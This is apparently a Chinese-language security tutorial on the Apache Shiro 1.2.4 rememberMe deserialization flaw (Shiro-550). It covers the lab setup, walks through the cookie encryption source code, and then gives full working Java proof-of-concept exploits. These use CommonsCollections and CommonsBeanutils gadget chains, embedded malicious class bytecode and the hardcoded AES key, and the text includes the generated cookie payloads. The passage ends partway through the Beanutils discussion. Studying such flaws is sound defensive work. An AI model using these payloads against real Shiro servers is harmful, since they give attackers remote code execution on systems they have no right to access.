为了让浏览器或服务器重启后用户不丢失状态,Shiro支持将持久化信息序列化并加密后保存在Cookie的remeberMe字段中,下次读取时再进行反序列化。但是在Shiro 1.2.4版本之前内置了一个默认且固定的加密Key,导致攻击者可以伪造任意的remeberMe Cookie,进而触发反序列化漏洞。
第一种:返回包中包含rememberMe=deleteMe
字段
第二种:直接发送原数据包,返回的数据中不存在关键字可以通过在发送数据包的cookie中增加字段rememberMe=
然后查看返回数据包中是否存在关键字
jdk 8u65
Tomcat:9.0.73
commons-beautils:1.8.3
commons-collections:3.2.1
commons-logging:1.2
shiro-web:1.2.4
shiro-core:1.2.4
slf4j-api:1.7.30
slf4j-simple:1.7.30
其中:
shiro-core、shiro-web是shiro本身的依赖
slf4j-api、slf4j-simple是为了显示shiro中的报错信息添加的依赖
commons-logging是shiro中用到的一个接口,不添加会报错
Tomcat中会用到jsp-api、javax.servlet-api依赖,仅在编译时使用
Tomcat自行下载,pom.xml添加依赖:
<dependencies>
<!-- Apache Commons BeanUtils -->
<dependency>
<groupId>commons-beanutils</groupId>
<artifactId>commons-beanutils</artifactId>
<version>1.8.3</version>
</dependency>
<!-- Apache Commons Collections (存在反序列化漏洞的版本) -->
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
<!-- Apache Commons Logging -->
<dependency>
<groupId>commons-logging</groupId>
<artifactId>commons-logging</artifactId>
<version>1.2</version>
</dependency>
<!-- Apache Shiro Web -->
<dependency>
<groupId>org.apache.shiro</groupId>
<artifactId>shiro-web</artifactId>
<version>1.2.4</version>
</dependency>
<!-- Apache Shiro Core -->
<dependency>
<groupId>org.apache.shiro</groupId>
<artifactId>shiro-core</artifactId>
<version>1.2.4</version>
</dependency>
<!-- SLF4J API -->
<dependency>
<groupId>org.slf4j</groupId>
<artifactId>slf4j-api</artifactId>
<version>1.7.30</version>
</dependency>
<!-- SLF4J Simple Implementation -->
<dependency>
<groupId>org.slf4j</groupId>
<artifactId>slf4j-simple</artifactId>
<version>1.7.30</version>
</dependency>
<!-- Servlet API (通常provided范围) -->
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>javax.servlet-api</artifactId>
<version>3.1.0</version>
<scope>provided</scope>
</dependency>
</dependencies>
Shiro 1.x < 1.2.5
在Shiro550中,我们知道漏洞产生主要是由于内置了一个默认且固定的加密key,使我们可以伪造任意的remeberMe Cookie造成反序列化,那么我们在发送cookie时经历了什么呢?
首先在org.apache.shiro.web.mgt.CookieRememberMeManager
定义了一个常量来表示默认的Cookie名:
也就是remeberMe,接着看CookieRememberMeManager构造方法:
SimpleCookie类主要记录了Cookie的一些基本属性:
传入remeberMe将name设为remeberMe,CookieRememberMeManager构造方法得到了一个Cookie类型的cookie对象
org.apache.shiro.web.mgt.CookieRememberMeManager
主要定义了Cookie常量名并得到了cookie对象,我们向上探索在org.apache.shiro.mgt.RememberMeManager
中找到了一些操作的方法:
其中onSuccessfulLogin似乎是登录成功后执行的操作,同时在这个接口实现类org.apache.shiro.mgt.AbstractRememberMeManager
还发现了造成该反序列化漏洞的默认key:
并且该类重写了onSuccessfulLogin方法,跟进一下:
首先调用forgetIdentity方法清楚之前remeberMe的身份,随后看用户是否勾选了remeberMe,调用rememberIdentity方法:
调用了rememberIdentity的一个重载方法:
调用了convertPrincipalsToBytes方法,且bytes类型为数组类型类型对象,猜测该部分是设置Cookie的值,继续跟进:
调用了serialize对PrincipalCollection进行了序列化,将其转化为了字节数组
然后对字节数组进行加密,这里我们跟进看下加密逻辑:
先获取CipherService对象,在encrypt方法中,cipherService默认为AesCipherService对象。随后调用cipherService.encrypt方法
注意传入cipherService.encrypt方法中获取的key即是我们的默认key,最后会调用到org.apache.shiro.crypto.JcaCipherService类的encrypt方法进行了一次AES加密,这里就不跟了
我们再回到rememberIdentity抽象方法那,分析了如何转换成字节对象并加密后,接着还调用了rememberSerializedIdentity(subject, bytes);
方法:
即会将我们的字节数组进行Base64编码保存在Cookie中
到这里Cookie生成的大致逻辑就差不多清晰了
在我们第一次进行Shiro Web登录后,Shiro会将当前Subject信息保存在Cookie中。当我们发送一个Cookie时,那么Shiro必定对我们的Cookie进行验证,即执行与生成cookie相反的操作。也就是Shiro会对Cookie进行解码同时反序列化获取Subject的信息。既然这样,我们是否可以通过发送一个恶意的Cookie来造成反序列化漏洞呢?
一样的,先分析下Shiro验证Cookie的逻辑。
跳到org.apache.shiro.web.mgt.CookieRememberMeManager
类的getRememberedSerializedIdentity方法:
这里会将我们的Cookie进行base64解码,随后按理说就是进行AES解密了,全局搜索getRememberedSerializedIdentity看哪里调用了该方法:
找到org.apache.shiro.mgt.AbstractRememberMeManager
类中的getRememberedPrincipals调用了该方法:
};
ConstantTransformer Runtime = new ConstantTransformer(Runtime.class);
InvokerTransformer getRuntime=new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime",new Class[0]});
InvokerTransformer invoke=new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]});
InvokerTransformer exec=new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"});
ConstantTransformer l = new ConstantTransformer(1);
Transformer[] transformers=new Transformer[]{Runtime,getRuntime,invoke,exec,l};
ChainedTransformer chain=new ChainedTransformer(faketransformers);
Map innermap=new HashMap();
Map Lazymap=LazyMap.decorate(innermap, chain);
TiedMapEntry tiedMapEntry=new TiedMapEntry(Lazymap,"111");
Map map=new HashMap();
map.put(tiedMapEntry,"b1uel0n3");
innermap.remove("111");
Field field=chain.getClass().getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(chain,transformers);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(map);
oos.close();
进行AES加密:
AesCipherService aes=new AesCipherService();
byte[] key=java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
ByteSource cipher=aes.encrypt(barr.toByteArray(), key);
完整poc:
package shiro;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class CC6 {
public static void main(String[] args) throws Exception {
Transformer[] faketransformers = new Transformer[]{new ConstantTransformer(1)};
ConstantTransformer Runtime = new ConstantTransformer(Runtime.class);
InvokerTransformer getRuntime=new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime",new Class[0]});
InvokerTransformer invoke=new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]});
InvokerTransformer exec=new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"});
ConstantTransformer l = new ConstantTransformer(1);
Transformer[] transformers=new Transformer[]{Runtime,getRuntime,invoke,exec,l};
ChainedTransformer chain=new ChainedTransformer(faketransformers);
Map innermap=new HashMap();
Map Lazymap= LazyMap.decorate(innermap, chain);
TiedMapEntry tiedMapEntry=new TiedMapEntry(Lazymap,"111");
Map map=new HashMap();
map.put(tiedMapEntry,"b1uel0n3");
innermap.remove("111");
Field field=chain.getClass().getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(chain,transformers);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(map);
oos.close();
AesCipherService aes=new AesCipherService();
byte[] key=java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
ByteSource cipher=aes.encrypt(barr.toByteArray(), key);
System.out.printf(cipher.toString());
}
}
tQyIfWf//mjgRVpbl1oORJdn0LjKmoHcVVSszWFSiOQJIqDUeb4QDy+4rijqZan7PuqpniXI0WAqsXZyAAGDZc7naStdCXunPZuNyHTgx/1yLFW/D0t96B/M/OVDOCkp5Hsye4OCFdnOmVxeWOwkQE/rVHP7l8QHzgZ5qFqCJ6gWGKNATXzBE1K6GdrSW8F3zgh89aHqvjL4bw8eek5bSK9dJY1End1Ymlz/fLO9FmGGVZJHgpj2s35qWtH6CFyzXO9g8IQhlAgvE6Bb286rPhL886HoJTtW2pGp01vRsHOr1qwzA5McfNHCcbPzQsRFZ0QZ8sfvH0GQpTH7GpFCI4rQOFzZ7DMzgwZIR+SKBKf+/d5oBi5r5K1WfQNVcYdVv1ywKPcVpQhSL1pHMQRP+ILJ0lbehqx5F2R0YJuLne979aAH6RXF64vBuWpX1IQQLgqQ545ndLTO/rh4jP6FfmYyZ4hV0yHyqMJMZ0SuB4xIsajJOaEPGBgaTctLc58u4OF1L0qIqxqkuL3aJhKkmvPu/xrjADZ6Rf3TLu4YZEuNKRn03+qTi/LFbelD4LX9abJ7j6K3wDlEzFqXhZtIZlX7Dq7/0EKRyG7lfTji2QmTqxWulYnQRP6COq0dExQb0oxB4njcp2rE/rASWMjt9uF8qdcx/Al0q30qOhCpWzv+vn5xrZZb7N0GrgT8y0LZxVFDcvN/gvJITZQ1IZOMMewo+uF2ECWblDDtiRF6FpCizpv0Q0rfr9PDQw0dCPWIK3hhZHO7nYHIaxs0yE2tqgWWOL81clj8a5z/gdPF9cAIpcp3ASEw++sXACSPzXwBZCzOqLvknqZquVItIwhgnEOWAtBNWQktWBCZlPEifpyQdLmCKFE8y0iKd0njsFG2za6j8LrlsBwmgqIzkXwjiF5Y5+q1mqzv1no8/Tsc2284lL6I918C/bedTj3wP2dbgrd3XfdIcpk37MhiW6LSeUOXrXEq7j2QkVneatL+dtsRKw+ZLoZvagLeohzoKeY0L3SkqFjtEdkvgVgbmKQQ84TlMpNUjUHhmMo4EGyAc6vTF7Y6ogZi1FCN+SunUCvl4B4FaSQWp9Vb1ZRwDSTNxpqbTtHRnQ5aoAESY5uTWiBvWSayPzeLApobhnGn4Jf5NNsbjB7/MoBGugD/4mS3pr3kW5qWbOMQpePk30pFERrmcOC0GNMfY/W1C8qEVJCP1BZJRV3f2i6Z3fYbtCxui5w9QiqECnv0HWTcle6ywv9a0hScMBLtLnD+wi/FBsVo5skVZB9xczmnNaBtQmPI8jnBqN1ObTA8zvCSJPM4hpQiTo1eQSqZJUGM2Nbargtz8os4OlyDGjCx6mCEclbDoPKQz3jabaR/Zk2PLAEBo7SGd5DCk/hze/Bjil2vfICMcEMeQpaJKoL+C2G8aDbmVA1S5wY+tVCMWMsTMgziayFltLXfzMxDNOZsEFJoollwJ2t31z4quvakG7W/OfTHWwdU2/PGztuEUDsCzCH3b3lyAeRBqBRR55+WayAmyU25EBRNuzleznJTM1znmHawR+oJtb/g1vFrvHPH8jxHDyxWLRw1xSfHbnNQiRbllxQK5Us0igulF8BQkH2sJZgAIVqRdxxTh4hTx0ZMEJZkpjOuUOO4+kF/jNP0bs8tK51kfOep5JBK/ioep/7L24TQoA==
把输出的内容当作remeberMe的值发送,结果报错了:
三个问题:
无法反序列化字节数组参数
无法加载ObjectStreamClass [[Lorg.apache.commons.collections.Transformer;: static final long serialVersionUID = -4803604734341277543L;]
无法从线程上下文、当前或系统应用程序类加载器加载名为[[Lorg.apache.commons.collections.Transformer;]
的类。所有启发式都已用尽,找不到类。
从源码入手,定位到org.apache.shiro.io.DefaultSerializer类:
在这就会抛出一个异常说无法反序列化字节数组参数
这里实例化了一个ClassResolvingObjectInputStream类,该类继承了ObjectInputStream类。
该类重写了resolveClass方法,该方法主要用于根据序列化数据中的类描述信息解析并加载对应Java类
如果加载失败会抛出ClassNotFoundException异常即第二个报错对应的情况
而在ClassUtils.forName方法中,clazz为null,会抛出UnknownClassException异常,即第三个报错的内容
在ClassResolvingObjectInputStream类的resolveClass方法中,利用了ClassUtils.forName方法来获取Class对象
其中fqcn为[Lorg.apache.commons.collections.Transformer
,这里的[L
是JVM的标记,表示是一个数组,即Transformer[]
,随后通过loadClass
方法来获取Class对象,而非Class.forName方法
既然不能使用Transformer[]数组,那么这里我就想着是否能用CC2的部分思路来加载恶意字节码,因为CC2是没有用Transformer[]数组的,当然如果版本允许可以直接用CC2
因为我们需要调用的是TemplatesImpl.newTransformer方法
在CC2中,是通过给tansformer传值为InvokerTransformer同时obj1传入TemplatesImpl对象实现加载字节码的
而在LazyMap.get方法中,虽然前面poc不一样,但后面思路一样的,我们同样可以利用InvokerTransformer.transform(TemplatesImpl)来执行TemplatesImpl.newTransformer方法,即:
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, invokerTransformer);
Map map = new HashMap();
TiedMapEntry e = new TiedMapEntry(outerMap, Impl);
map.put(e, "b1uel0n3");
outerMap.clear();
完整POC:
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;
public class test {
public static void main(String[] args) throws Exception {
byte[] bytes= Base64.getDecoder().decode("yv66vgAAADQALAoABgAeCgAfACAIACEKAB8AIgcAIwcAJAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAGTGV2aWw7AQAKRXhjZXB0aW9ucwcAJQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsHACYBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEAClNvdXJjZUZpbGUBAAlldmlsLmphdmEMAAcACAcAJwwAKAApAQAIY2FsYy5leGUMACoAKwEABGV2aWwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2YS9pby9JT0V4Y2VwdGlvbgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAAQAACAAEAAAAOKrcAAbgAAhIDtgAEV7EAAAACAAoAAAAOAAMAAAAKAAQACwANAAwACwAAAAwAAQAAAA4ADAANAAAADgAAAAQAAQAPAAEAEAARAAIACQAAAD8AAAADAAAAAbEAAAACAAoAAAAGAAEAAAAQAAsAAAAgAAMAAAABAAwADQAAAAAAAQASABMAAQAAAAEAFAAVAAIADgAAAAQAAQAWAAEAEAAXAAIACQAAAEkAAAAEAAAAAbEAAAACAAoAAAAGAAEAAAATAAsAAAAqAAQAAAABAAwADQAAAAAAAQASABMAAQAAAAEAGAAZAAIAAAABABoAGwADAA4AAAAEAAEAFgABABwAAAACAB0=");
TemplatesImpl Impl = new TemplatesImpl();
setValue(Impl,"_name","b1uel0n3");
setValue(Impl,"_class",null);
setValue(Impl,"_bytecodes",new byte[][]{bytes});
setValue(Impl,"_tfactory",new TransformerFactoryImpl());
InvokerTransformer invokerTransformer=new InvokerTransformer("toString",new Class[0],new Object[0]);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, invokerTransformer);
Map map = new HashMap();
TiedMapEntry e = new TiedMapEntry(outerMap, Impl);
map.put(e, "b1uel0n3");
outerMap.clear();
setValue(invokerTransformer,"iMethodName","newTransformer");
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(map);
oos.close();
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
AesCipherService aes = new AesCipherService();
byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
ByteSource ciphertext = aes.encrypt(barr.toByteArray(), key);
System.out.printf(ciphertext.toString());
}
public static void setValue(Object obj, String filedname, Object value) throws Exception {
Field field=obj.getClass().getDeclaredField(filedname);
field.setAccessible(true);
field.set(obj,value);
}
}
rwsHEebZoL7IAzmRvehWqH86Yvab+tPzcmpOlzOk/AGjbYZgTYX6QlUOOU8GvX5Ycwb3GHiBpBbmEyBNqXHmtXlY3x048z2A03t80LVEYZXiuqEInZsH55Sr5+DhacRnl+H8icvUedtxblk3UtPtuBaEPQoKGKerznAxL4dp516zBypUBjg1jfdbJjQ49yGcKgiV7PyEaSEyB1H+nrA3XnpKbeiOOK9ljTJG9i396J1xrXypPCavzWWb48ud/fTMb/yUu34blzvtnZavPjqs4r3byWWcP+9bNdFosDY58ezZylJH8oenEtQ12Rmt/DAiaXASVcf/g+0nb4jLaJRV6gk1hO7dMclRKYjln1eWTn7Ma54aZzYxBUMaAHNTrIgNuIM9UNVr25EJrXWJ++RtIF10WkLWck2qtjxmmO2+9pNS/+b71L9Y+6yfu3Qho2EqaoOxggGd328bct4ORCDG78Jakz0yN9McaaMHogpY1JzMuAQGCxtDRGPKeHLSIxSJTb6iCQysQae+meXiBlw9hESTLHboAsS/AmZbNAaStAJG9PhDtdfsQYDHHRPf1PSwUAotkFyl9IB9yBSMU3sytTCUnqZNDTEEFzN98x+7MD2RuaSQtbHELajP5DVDUeH9qfNlNSYplZWY/rHdwiC8fM6lAh9XnGuEkMKb22qDNfyEdbIbxGDDcjN77uzilt6xo7pcwW9rbzB3E2fQrgW32ebvrIHxJ0YNCd/jtEnFa9ieQau3UrceFnS6XFVLHbiW2U4amAAZGSdyMcizdST+R5ZVJFNvDE+/lIUGUNgn33SyRWcfTSHnMqWWoN9UE1JtglXmEwHNDN9QxaWigrP+CF0UfKcgEZqJkLzahHZGBe/aafnloJGLVTy347BDylpTDO4nKxtN7BaKatrVWEKKi7EyMWeoA149jdQEND6aO8VsYrhwcHpZcvaw+02hijMynSzoklzrlmTXCVBZqmC5EL7RLlrc2QeXJ7WUXRGQzLiJAyhieCoKLwMxgImfRduHGvI5Rx1s/hvGcAESsRQaphm4vOQXmMgdvosnkqnxNDARxDmVrr6zeFKx75MtDce6sIWnd+IQi77IJomiOptm7DymDqtX25A8XnIhPcqPUvCOUODC03yGcQD9TbUsYAIVXBljmKTLdKwhcFsu0E0qnyxIOfjuKVbFMZQf+yxNAOnt4eaaodw8ZwdySghhmCpAsBPviwC86xtFLi3o5TPT+kYOj8uuNUgmU+K476t0HOqt8yGjHYu4vVU4SjE6xFTLETFG58yeCWFC/xAFWUoMrHDQsqXc40O1rVgblFXT0O7FZ8unJMH4u0uqNXmUWj8z65f2qtfD8MXwPtKFHOeeUXxU81G/vuZWkzJLZ7xtHUfA9KBpt1yEVS9pc73yR8ICZmJLneF4PF6EUztCoBh88erxEKhI08N+M0tfUiB4mPb7GiPxYvKnZNH6LeJ8KjOp7xLM3vscBi4wG3czzQlpJbLpJ35NhikVIDxq+BNKqhFeK7XyR0Pg6Lom0Ba20fMEEwUnGXIY5YXOm3FnAtzsH0JJHvY/YN2GqtIr5ByiydasBfDQ4mPVt1ncN8FC1qrusdzQ3xy19zh4FeCkusnP7HAimcTixPa/YTvqO1vSHAFlMzkIgVR+eDVZrYlYXDWvHIDVuNoPplbH434Nfcgc1eBbRlUFy+PZgyp0Ocq9i8f5dpmOVktTcsvuKg8S3oM+teiZ7ZJPYmwmuX2wSbi4JcPVLsH7KG3LCjHibu/Y9jcZxNjkG4LXTEJUofD2oPLGh+kDk1zURXF+8lIBf/ebZtqpHhkS6r9DCpCXBK0Ld7bYhSZDwzqzcWXwYyKqq08fWzxt8RLzPp1CwuAerAp/S/pSAdcv61gaWLo29TjvQj3EYZpIijw6h4vHCGCayzpaELr7UJkkB4CQqxuySUsE9xfq/2+3uSRo19WfhzoAW83d8XY1hu4WsLxsMsQynxw78eDRNDYQTls6lbOo+2l9o+zoKa94wvhFSfvbTLtB0YU9Skk98NqwtLcpu3lX5D6FHRLhQOL8wktGsBHnOquYIeQjCWmaSWOdQyVK1WDQoD7rQuISUgC1b3sgReuXtNRPw0wWu4NXLdX0wNEEEith5VJjdQ+jafRRHd1Y40DWmhRPB/uU07A5XQqdYC93RrIGUOaTLvcgJtTcTA1zEkIOrNqRIJwLU4Rkt7FwMahasYGzfe2NlQU//iHL1wTfzK45GOOYWJy76EEUH65r97gY9LXDzRA3pJRT9elJG9B1VTrXvS1A9miCOv/aZETritiHY4KjxCx9UFDTw14rXyIfFzSFEO0wTMzPh0DZCzHjLWWrEXkGLdpHDAWoxA5LTrFDH13ry3PpFkmrM+xFzbXDXdvuQYNOm6iXCEVI+Mrk0i5rsOWXBq6kc3NfOPZqhbdvW5Rf92KicFHBx8eARum/ribDRGlQ0m+oPkqMT5PAclBtM8OMa0tdGfD8rlM4/vcSdl4dl9bVvVQyWblL7dp6k5cWiCyk0MV6/e1d1uIA4VllW4mATxbr8viB0yioxCUzykXc/F8fQBQ/N8bMsISFjfu4t9O+F9jra1Q6JfRrf07Pmw2m+yIwm+FWCAYKwsrAPD2BJfDYWUFa42lkCPA3aZRjBZmAhZKZfaTwJOnrg5nkJIXoGY0dtB2F3aBQBrjbLi0V1+PPT2KgigvBsDnf/RrUjDKtdk34R/me2ZhBeG0a7dcXUwKyGco6B3CnvgUXEJp/AO+fZwqYS+FJ5lzchu3bl9yUpg9OxsQJXvYp5Nxt25ws1FT52ecVdr/NvpLawBe1c0D7xoXniNoSk1cae9hlqTZzWE6cxxG0FtuLz0Q5qCt14MomJz53qfVz7iwiN6uHRVZC0YYVUXJZTq/SX5vpdSaU3n524UcZQ/MReOb52dRi5a/aUv1PP7vedjDqaR0MLa56mqN75txBtXrbZFW7BoihLehcKddTqve+BsE=
成功弹计算机
在我们引入shiro依赖时其实会自动引入commons-beautils包。并且如果我们剔除commons-collections依赖shiro web依然能够正常运行,那么我们是否可以不通过CC依赖直接实现CB攻击呢?
先利用CB链的poc生成payload:
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
public class test {
public static void main(String[] args) throws Exception {
byte[] bytes = Base64.getDecoder().decode("yv66vgAAADQALAoABgAeCgAfACAIACEKAB8AIgcAIwcAJAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAGTGV2aWw7AQAKRXhjZXB0aW9ucwcAJQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsHACYBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEAClNvdXJjZUZpbGUBAAlldmlsLmphdmEMAAcACAcAJwwAKAApAQAIY2FsYy5leGUMACoAKwEABGV2aWwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2YS9pby9JT0V4Y2VwdGlvbgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAAQAACAAEAAAAOKrcAAbgAAhIDtgAEV7EAAAACAAoAAAAOAAMAAAAKAAQACwANAAwACwAAAAwAAQAAAA4ADAANAAAADgAAAAQAAQAPAAEAEAARAAIACQAAAD8AAAADAAAAAbEAAAACAAoAAAAGAAEAAAAQAAsAAAAgAAMAAAABAAwADQAAAAAAAQASABMAAQAAAAEAFAAVAAIADgAAAAQAAQAWAAEAEAAXAAIACQAAAEkAAAAEAAAAAbEAAAACAAoAAAAGAAEAAAATAAsAAAAqAAQAAAABAAwADQAAAAAAAQASABMAAQAAAAEAGAAZAAIAAAABABoAGwADAA4AAAAEAAEAFgABABwAAAACAB0=");
TemplatesImpl templates = new TemplatesImpl();
setValue(templates,"_name","B1uel0n3");
setValue(templates,"_class",null);
setValue(templates,"_bytecodes",new byte[][]{bytes});
setValue(templates,"_tfactory",new TransformerFactoryImpl());
BeanComparator beanComparator = new BeanComparator("outputProperties");
PriorityQueue queue = new PriorityQueue(2,beanComparator);
queue.add(1);
queue.add(1);
Object[] queueArray=(Object[]) getValue(queue,"queue");
queueArray[0]=templates;
queueArray[1]=1;
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(queue);
oos.close();
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
AesCipherService aes = new AesCipherService();
byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
ByteSource ciphertext = aes.encrypt(barr.toByteArray(), key);
System.out.printf(ciphertext.toString());
}
public static void setValue(Object obj, String filedname, Object value) throws Exception {
Field field=obj.getClass().getDeclaredField(filedname);
field.setAccessible(true);
field.set(obj,value);
}
public static Object getValue(Object obj, String filedname) throws Exception {
Field field=obj.getClass().getDeclaredField(filedname);
field.setAccessible(true);
return field.get(obj);
}
}
当remeberMe值发送时会报错加载不了ComparableComparator类
同时这里有个坑点就是当使用了与环境中不同版本的commons-beautils依赖编写POC时,发送poc会报错,需要相同的commons-beautils版本
发生上面的报错是因为ComparableComparator类是CC依赖里面的类,当我们创建BeanComparator对象是会调用它的构造函数:
此时就无法加载该类
所以我的思路就是comparator的值,不调用ComparableComparator类,即找一个Comparator接口类型的对象来替换ComparableComparator.getInstance(),且该类需要实现java.util.Comparator接口
由于需要进行序列化、反序列化过程,所以还需要实现java.io.Serializable接口
这里找到CaseInsensitiveComparator类:
而它的常量可以实例化该类
所以修改POC:
BeanComparator beanComparator = new BeanComparator(null,String.CASE_INSENSITIVE_ORDER);
可运行时报错了,这是因为在调用add方法时,会调用offer方法:
在学CC2的时候就知道它会调用compare方法
